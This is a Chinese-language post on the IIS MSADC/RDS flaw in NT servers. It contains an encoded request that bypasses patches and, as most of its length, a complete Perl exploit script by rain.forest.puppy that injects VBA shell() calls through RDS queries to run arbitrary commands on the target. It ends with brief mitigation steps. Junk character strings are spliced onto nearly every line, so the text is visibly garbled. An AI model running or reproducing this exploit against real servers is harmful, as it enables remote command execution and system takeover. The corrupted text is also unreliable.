IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
^fkCyE;= Q2*/`L}m\ 涉及程序:
N1PECLS? Microsoft NT server
O
x{Q.l |kId8WtA 描述:
q#;BhPc 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:FnOS<_B LFCTr/, 详细:
2bWUa~%B 如果你没有时间读详细内容的话,就删除:
-r!42`S c:\Program Files\Common Files\System\Msadc\msadcs.dll
7nm}fT
z7 有关的安全问题就没有了。
&kb\,mQ Q`N18I3 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
$9G3LgcS O'fk&&l 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
|-|jf 关于利用ODBC远程漏洞的描述,请参看:
.\$Wy$ d d& hD[v http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ;vMn/ .
=&Jo9 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
6A}eSG3 http://www.microsoft.com/security/bulletins/MS99-025faq.asp !&W|myN^ ~
9=27p 这里不再论述。
3Q",9(D h9)RJSF4 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
F@9Y\. , pqJ)G;%9 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
5)mVy?Z 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
\[cH/{nt Y =9j2 ]t 4K E)g #将下面这段保存为txt文件,然后: "perl -x 文件名"
UIn^_}jF` ?gLAWz #!perl
=qw&dwIQ #
S9J5(lYv~N # MSADC/RDS 'usage' (aka exploit) script
oB4#J* #
.vK.XFZ8R # by rain.forest.puppy
qh$X^%g #
*.8JP # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
?!H)zz6y # beta test and find errors!
9/G!0uE d]MGN^%o use Socket; use Getopt::Std;
90p3V\LO getopts("e:vd:h:XR", \%args);
i (0hvV>' BH5w@ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
H "O$& '| &,E#` if (!defined $args{h} && !defined $args{R}) {
8hZwQ[hr print qq~
q8/ihA6: Usage: msadc.pl -h <host> { -d <delay> -X -v }
ms7SoYbSu -h <host> = host you want to scan (ip or domain)
IQIbz{bMx -d <seconds> = delay between calls, default 1 second
$Buf#8)F* -X = dump Index Server path table, if available
%bXsGPB -v = verbose
U,HIB^=
R -e = external dictionary file for step 5
9Fk4|+OJ %lV@:"G Or a -R will resume a command session
[7RheXO< gGmxx,i ~; exit;}
~Zmi(Ra {EL'd!v7e $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
-Un=TX if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
uWTN2jr if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
'6X%=f'^b if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
<Pio Q>~ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
z>|)ieL if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
"c,!vc4 tn{8u7 if (!defined $args{R}){ $ret = &has_msadc;
9\>sDSCx die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
=5Wp&SM6 |YRY!V_w print "Please type the NT commandline you want to run (cmd /c assumed):\n"
2A>C+Y[7\ . "cmd /c ";
y^G>{?Tha $in=<STDIN>; chomp $in;
o!utZmk$ $command="cmd /c " . $in ;
PPj[;(A xZyeX34{M; if (defined $args{R}) {&load; exit;}
/$Z
m~Mp \6:>{0\ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
6b<+8w &try_btcustmr;
C3)|<E /VO^5Dnb print "\nStep 2: Trying to make our own DSN...";
wLUF v(&C &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
U{}!y3[wK Af9+HI
O print "\nStep 3: Trying known DSNs...";
"J!}3)n &known_dsn;
yb?{LL-uy ]\BUoQ7I/ print "\nStep 4: Trying known .mdbs...";
69/?7r &known_mdb;
G'9{a' JOHRmfqR if (defined $args{e}){
(]XbPW print "\nStep 5: Trying dictionary of DSN names...";
`L\)ahM &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
thptm } L <,eV print "Sorry Charley...maybe next time?\n";
cOb4c* exit;
\?&Au :+:6_x ##############################################################################
On&L#pf -\Z `z}D sub sendraw { # ripped and modded from whisker
/EU; ?O sleep($delay); # it's a DoS on the server! At least on mine...
.=XD)>$ my ($pstr)=@_;
7)J6/(' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4\6:\ die("Socket problems\n");
q^*6C[G B if(connect(S,pack "SnA4x8",2,80,$target)){
E/mw* c^ select(S); $|=1;
`hzrfum4 print $pstr; my @in=<S>;
5V @&o`!=h select(STDOUT); close(S);
s}ADk-7 return @in;
JKy#j g:# } else { die("Can't connect...\n"); }}
ue6d~8& $KX[Zu% ##############################################################################
EZib1g&:R/ 7~b!4x|Z sub make_header { # make the HTTP request
!)c=1EX]" my $msadc=<<EOT
],[)uTZc POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
-CD\+d " User-Agent: ACTIVEDATA
^i'y6J Host: $ip
K%gP5>y*9> Content-Length: $clen
rY,PSK/j Connection: Keep-Alive
HH8;J66I& etyCrQ
?U ADCClientVersion:01.06
c@(1:,R Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
yU7I;]YP ~;unpym' --!ADM!ROX!YOUR!WORLD!
62kb2C Content-Type: application/x-varg
`G?qY8 Content-Length: $reqlen
=IHje;s 7tgFDLA EOT
O-PdM`mqW ; $msadc=~s/\n/\r\n/g;
[bjN
f2 return $msadc;}
xo Gb yN\e{;z` ##############################################################################
:wipE]~4t -;pOh;WG sub make_req { # make the RDS request
((|IS[ my ($switch, $p1, $p2)=@_;
9&K/GaG my $req=""; my $t1, $t2, $query, $dsn;
.N"~zOV<# I4D<WoU;dJ if ($switch==1){ # this is the btcustmr.mdb query
[se^.[0, $query="Select * from Customers where City=" . make_shell();
p<5!02yQ\ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
} 0M{A+ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
4 x,hj %l7fR} elsif ($switch==2){ # this is general make table query
PLdn#S}. $query="create table AZZ (B int, C varchar(10))";
RUGv8"j $dsn="$p1";}
aFY u}kl KG8W8&q elsif ($switch==3){ # this is general exploit table query
J :S'uxM $query="select * from AZZ where C=" . make_shell();
u9]1X1wV $dsn="$p1";}
&?+WXL> T2weAk#J elsif ($switch==4){ # attempt to hork file info from index server
D.*>;5:0' $query="select path from scope()";
}
`T8A $dsn="Provider=MSIDXS;";}
vM`~)rO@! |RhM| i elsif ($switch==5){ # bad query
B:9.e?t $query="select";
f=`33m5 $dsn="$p1";}
SRL-Z&M vPmnN^ $t1= make_unicode($query);
`,Orf ZMb $t2= make_unicode($dsn);
_k2w(ew? $req = "\x02\x00\x03\x00";
f=aIXhiYU $req.= "\x08\x00" . pack ("S1", length($t1));
8_xLl2 $req.= "\x00\x00" . $t1 ;
;%zC@a~{ $req.= "\x08\x00" . pack ("S1", length($t2));
oT&m4I $req.= "\x00\x00" . $t2 ;
`Ko[r
R+
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
% fhNxR return $req;}
!/hsJ9 2P9J'
L ##############################################################################
8S
U% KcXpH]>!9 sub make_shell { # this makes the shell() statement
FifbxL return "'|shell(\"$command\")|'";}
$|a;~m> ue0s&WF| ##############################################################################
KAc >-c< T*CME] sub make_unicode { # quick little function to convert to unicode
Gt~JA0+C)7 my ($in)=@_; my $out;
s@!$='| for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
s-?fUqA return $out;}
m22wF>9 AyVrk
8G ##############################################################################
!wh&>3~ 'fY9a(Xt. sub rdo_success { # checks for RDO return success (this is kludge)
#a,9B-X my (@in) = @_; my $base=content_start(@in);
({[,$dEa; if($in[$base]=~/multipart\/mixed/){
#I%s3 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
WY>Knp= return 0;}
M"wue*& Q~Ea8UT.# ##############################################################################
!LIlt`ag9 /1fwl5\ sub make_dsn { # this makes a DSN for us
^M[P-#X_ my @drives=("c","d","e","f");
&88oB6$D^q print "\nMaking DSN: ";
?+`xe{k foreach $drive (@drives) {
\dkOK`)b print "$drive: ";
Gi7RMql6Q my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
`# ^0cW "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
QxpKX_@Q5 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
YYUe)j{T $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
#Ufo)\x return 0 if $2 eq "404"; # not found/doesn't exist
213\ehhG< if($2 eq "200") {
>Ko[Xb-8^_ foreach $line (@results) {
\=nrt? return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
36$[ } return 0;}
o""~jc~ KCtX$XGL ##############################################################################
u\g,.C0 .\)A@ua^ sub verify_exists {
U5+vN[ K my ($page)=@_;
9UD
@MA my @results=sendraw("GET $page HTTP/1.0\n\n");
Q`6i =mB; return $results[0];}
P(ZQDTbM
: $YM_G=k ##############################################################################
TlRk*/PlJ NQLiWz-q sub try_btcustmr {
'Q|c@t my @drives=("c","d","e","f");
-:`V< my @dirs=("winnt","winnt35","winnt351","win","windows");
|~e?,[-2`r ]P1YHw9 foreach $dir (@dirs) {
`9 [i79U print "$dir -> "; # fun status so you can see progress
'uC59X4l foreach $drive (@drives) {
t9u|iTY
f! print "$drive: "; # ditto
y0IK,W'&? $reqlen=length( make_req(1,$drive,$dir) ) - 28;
$[(d X!]F $reqlenlen=length( "$reqlen" );
?L|yaC~ $clen= 206 + $reqlenlen + $reqlen;
+AI`R`Tm 0I%: BT my @results=sendraw(make_header() . make_req(1,$drive,$dir));
`ROG~0lN( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
<avQR9'& else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
5H
!y 46z Tr .hmG U ##############################################################################
5D' bJ6PO '`l K'5; sub odbc_error {
&jf7k
<^ my (@in)=@_; my $base;
)=_ycf^MC my $base = content_start(@in);
5*G%IR@@LK if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
GYK\LHCPd $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>*qQ+_ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m*n5zi|O $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
, =y#m-9 return $in[$base+4].$in[$base+5].$in[$base+6];}
ClQe4uo{ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
x';uCKWV print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
CL9yEy"V $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
r"]'`qP, W{Z^n(f4 ##############################################################################
;l!`C' :' yrr)
y
sub verbose {
?R'Y?b my ($in)=@_;
J YmAn?o- return if !$verbose;
GyC)EFd print STDOUT "\n$in\n";}
+5X DF \l,rpVv5m ##############################################################################
5%i:4sMx
* <nzN $"%
sub save {
Oh; Jw my ($p1, $p2, $p3, $p4)=@_;
<kc#thL open(OUT, ">rds.save") || print "Problem saving parameters...\n";
yyP-=Lhmo= print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
iRw&49 close OUT;}
r>|-2}{N/ @;)PSp*j ##############################################################################
ht6244: vg\/DbI' sub load {
-9+se my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Z4q~@|+% open(IN,"<rds.save") || die("Couldn't open rds.save\n");
{IM! Wb @p=<IN>; close(IN);
}Dfwm)]Q $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
<hvRP!~<) $target= inet_aton($ip) || die("inet_aton problems");
`f`TS#V print "Resuming to $ip ...";
Qvqqvk_tv $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
ls|LCQPx if($p[1]==1) {
iHBB,x $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
74J@F2g}? $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
"/+zMLY my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
2qU&l|> if (rdo_success(@results)){print "Success!\n";}
s~L</Xvo
else { print "failed\n"; verbose(odbc_error(@results));}}
7P**:b elsif ($p[1]==3){
Qc"'8kt if(run_query("$p[3]")){
!1Y&Y@ze print "Success!\n";} else { print "failed\n"; }}
K4%/!` elsif ($p[1]==4){
r`M6!}oa if(run_query($drvst . "$p[3]")){
@WOM#Kc print "Success!\n"; } else { print "failed\n"; }}
vq'k|_Qi= exit;}
?Rr2/W#F Fx#jV\''s ##############################################################################
p*qPcuAA HuI`#.MpWE sub create_table {
\8v91g91f my ($in)=@_;
Fo|xzLm9*| $reqlen=length( make_req(2,$in,"") ) - 28;
jna;0) $reqlenlen=length( "$reqlen" );
hYg'2OG $clen= 206 + $reqlenlen + $reqlen;
r o\1]`6 my @results=sendraw(make_header() . make_req(2,$in,""));
elO<a]hX return 1 if rdo_success(@results);
W>-B [5O&[ my $temp= odbc_error(@results); verbose($temp);
4na8 return 1 if $temp=~/Table 'AZZ' already exists/;
x]4Kkpqm return 0;}
Gi?_ujZR !@L=;1, ##############################################################################
ocQWQ v#oi0-9o[ sub known_dsn {
R[Fn0fnLx # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
9lzQ\} my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
q{' ~+Nq "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
z@U}~TvP "banner", "banners", "ads", "ADCDemo", "ADCTest");
M\oVA=d\0 ?dq#e9 foreach $dSn (@dsns) {
?=On%bh print ".";
M]rO;^ ;6? next if (!is_access("DSN=$dSn"));
W`)<vGn=Y if(create_table("DSN=$dSn")){
t~p
y=\ print "$dSn successful\n";
6 "gj!/e if(run_query("DSN=$dSn")){
Akk
3 Qx print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:0~QRc-u print "Something's borked. Use verbose next time\n";}}} print "\n";}
\;9W.d1iU 1=)r@X/6d ##############################################################################
UT]?;o" -4 Ux,9& sub is_access {
"Ij I'c my ($in)=@_;
`=)2<Ca;~@ $reqlen=length( make_req(5,$in,"") ) - 28;
r@}bDkx $reqlenlen=length( "$reqlen" );
xyeA2Y $clen= 206 + $reqlenlen + $reqlen;
4g` jd my @results=sendraw(make_header() . make_req(5,$in,""));
)N!>= my $temp= odbc_error(@results);
zF&=U`v verbose($temp); return 1 if ($temp=~/Microsoft Access/);
N|Cs=-+ return 0;}
|%7cdMC `:|@Zln ##############################################################################
-1%OlKC Lxe^v/LsT sub run_query {
!!,0'c my ($in)=@_;
OSDy'@
$reqlen=length( make_req(3,$in,"") ) - 28;
\=e8%.#@J $reqlenlen=length( "$reqlen" );
/bVZ::A&_ $clen= 206 + $reqlenlen + $reqlen;
YZwaD b my @results=sendraw(make_header() . make_req(3,$in,""));
J7$_VP return 1 if rdo_success(@results);
n! h7 my $temp= odbc_error(@results); verbose($temp);
n=sXSxl return 0;}
1TN}GsAj a\5FAkI ##############################################################################
{E_{JB~` 2KJ1V+g@a6 sub known_mdb {
p~jlx~1-] my @drives=("c","d","e","f","g");
&X>7n~@0 my @dirs=("winnt","winnt35","winnt351","win","windows");
5f7zk my $dir, $drive, $mdb;
a:Q[gF8> my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Z|m`7xeCy \=2m7v#E # this is sparse, because I don't know of many
Wch~Yb my @sysmdbs=( "\\catroot\\icatalog.mdb",
fw-\|fP "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^))RM_ic "\\system32\\certmdb.mdb",
p<GR SJIk= "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
!PUZWO zqySm)o] my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
F2I 5qC/ "\\cfusion\\cfapps\\forums\\forums_.mdb",
_ -..~K.| "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
[3>GGX[Ic "\\cfusion\\cfapps\\security\\realm_.mdb",
[0;buVU. "\\cfusion\\cfapps\\security\\data\\realm.mdb",
/R8p] "\\cfusion\\database\\cfexamples.mdb",
yt0,^*t_ "\\cfusion\\database\\cfsnippets.mdb",
S;\R!%t_ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
@tT-JwU "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
hsNWqk qys "\\cfusion\\brighttiger\\database\\cleam.mdb",
J ++v@4Z "\\cfusion\\database\\smpolicy.mdb",
)0 Z! n "\\cfusion\\database\cypress.mdb",
I*|P@0 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Wr~yK? : ] "\\website\\cgi-win\\dbsample.mdb",
hvV_xD8| "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
c-1q2y "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Xq#Y*lKVD ); #these are just
2)0b2QbQ foreach $drive (@drives) {
|`rJJFA foreach $dir (@dirs){
j]4,<ppWSH foreach $mdb (@sysmdbs) {
vDj;>VE2b print ".";
m.Lij!0 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
n(ir[w#,]" print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
EMvHFu
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
,XKCz ]8V print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
sH#X0fG } else { print "Something's borked. Use verbose next time\n"; }}}}}
_=f=f cl s|yVAt|= foreach $drive (@drives) {
[a1jCo foreach $mdb (@mdbs) {
(c\hy53dP print ".";
2a=sm1? if(create_table($drv . $drive . $dir . $mdb)){
PD[z#T!' print "\n" . $drive . $dir . $mdb . " successful\n";
,^s0</ve if(run_query($drv . $drive . $dir . $mdb)){
_r Y,}\ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
;@mRo`D` } else { print "Something's borked. Use verbose next time\n"; }}}}
Sr Ca3PA }
\.{AAj^qD v({N:ya ##############################################################################
%Q"(/jm? P7 y q^| sub hork_idx {
X JGB)3QI print "\nAttempting to dump Index Server tables...\n";
^z;JVrW print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
}M>rE $reqlen=length( make_req(4,"","") ) - 28;
S7iDTG_@t $reqlenlen=length( "$reqlen" );
/%rq
hHs $clen= 206 + $reqlenlen + $reqlen;
\1%l^dE@ my @results=sendraw2(make_header() . make_req(4,"",""));
vv0Q$
O-> if (rdo_success(@results)){
jQs>`P-CM my $max=@results; my $c; my %d;
(#\pQ51 for($c=19; $c<$max; $c++){
TV59(bG.2 $results[$c]=~s/\x00//g;
s<QkDERMX $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
F3U` ueP $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
a|j%n $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
0S/'
94%w $d{"$1$2"}="";}
fRZ KEIyk foreach $c (keys %d){ print "$c\n"; }
^-)txC5{T } else {print "Index server doesn't seem to be installed.\n"; }}
q1VH5'p@ b{M7w ##############################################################################
n`7f"'/: P A;6$vqX sub dsn_dict {
{d3<W N open(IN, "<$args{e}") || die("Can't open external dictionary\n");
vXj < while(<IN>){
Q+q,!w8 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
63WS7s" next if (!is_access("DSN=$dSn"));
L,[;k if(create_table("DSN=$dSn")){
TbVn6V' print "$dSn successful\n";
?knYY>Kzh1 if(run_query("DSN=$dSn")){
:\
QUs} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
cW8\d print "Something's borked. Use verbose next time\n";}}}
B~o-l* print "\n"; close(IN);}
1=}qBR#scY '\q f^?9 ##############################################################################
Y'VBz{brf +/{L#e> sub sendraw2 { # ripped and modded from whisker
H1:be.^YP sleep($delay); # it's a DoS on the server! At least on mine...
wNJzwC&iQ my ($pstr)=@_;
|`d0^(X socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
A
Io|TD5{~ die("Socket problems\n");
Q%S9fq,q if(connect(S,pack "SnA4x8",2,80,$target)){
jvy$t$az print "Connected. Getting data";
_banp0ywS open(OUT,">raw.out"); my @in;
W;6vpPhg#! select(S); $|=1; print $pstr;
c:!z O\P# while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
cu!W4Ub< close(OUT); select(STDOUT); close(S); return @in;
,,L2(N } else { die("Can't connect...\n"); }}
`\u;K9S6
G bP!9I ##############################################################################
[V8fu
qE> M\<w#wZ sub content_start { # this will take in the server headers
vdDludEv my (@in)=@_; my $c;
(@0O for ($c=1;$c<500;$c++) {
)v4b if($in[$c] =~/^\x0d\x0a/){
m^~ S if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
eJCjJ) else { return $c+1; }}}
6vKS".4C return -1;} # it should never get here actually
o]n!(f<(* g| <wyt[ ##############################################################################
YGvUwj'2a R<ND=[}s sub funky {
Bf`9V713 my (@in)=@_; my $error=odbc_error(@in);
=WZqQq{ if($error=~/ADO could not find the specified provider/){
5~sx:0; print "\nServer returned an ADO miscofiguration message\nAborting.\n";
I751 t exit;}
sZgRt if($error=~/A Handler is required/){
"Ml&[Oge print "\nServer has custom handler filters (they most likely are patched)\n";
ykg# {9+ exit;}
Sw&!y$ed if($error=~/specified Handler has denied Access/){
0JuD^
print "\nServer has custom handler filters (they most likely are patched)\n";
TJ8E"t*) exit;}}
1nknSw# {:nQl} ##############################################################################
,|?CU
r9Y ]q5`YB%_ sub has_msadc {
`Hx~UH) my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
@wmi5oExc my $base=content_start(@results);
fU3`v\X return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
7}O.wUKw% return 0;}
BKa-
k! &)F*@C- ########################
RkeltE~u b^c9po f$HH:^# 解决方案:
YZ$ZcfXDW 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
1k%k`[VC 2、移除web 目录: /msadc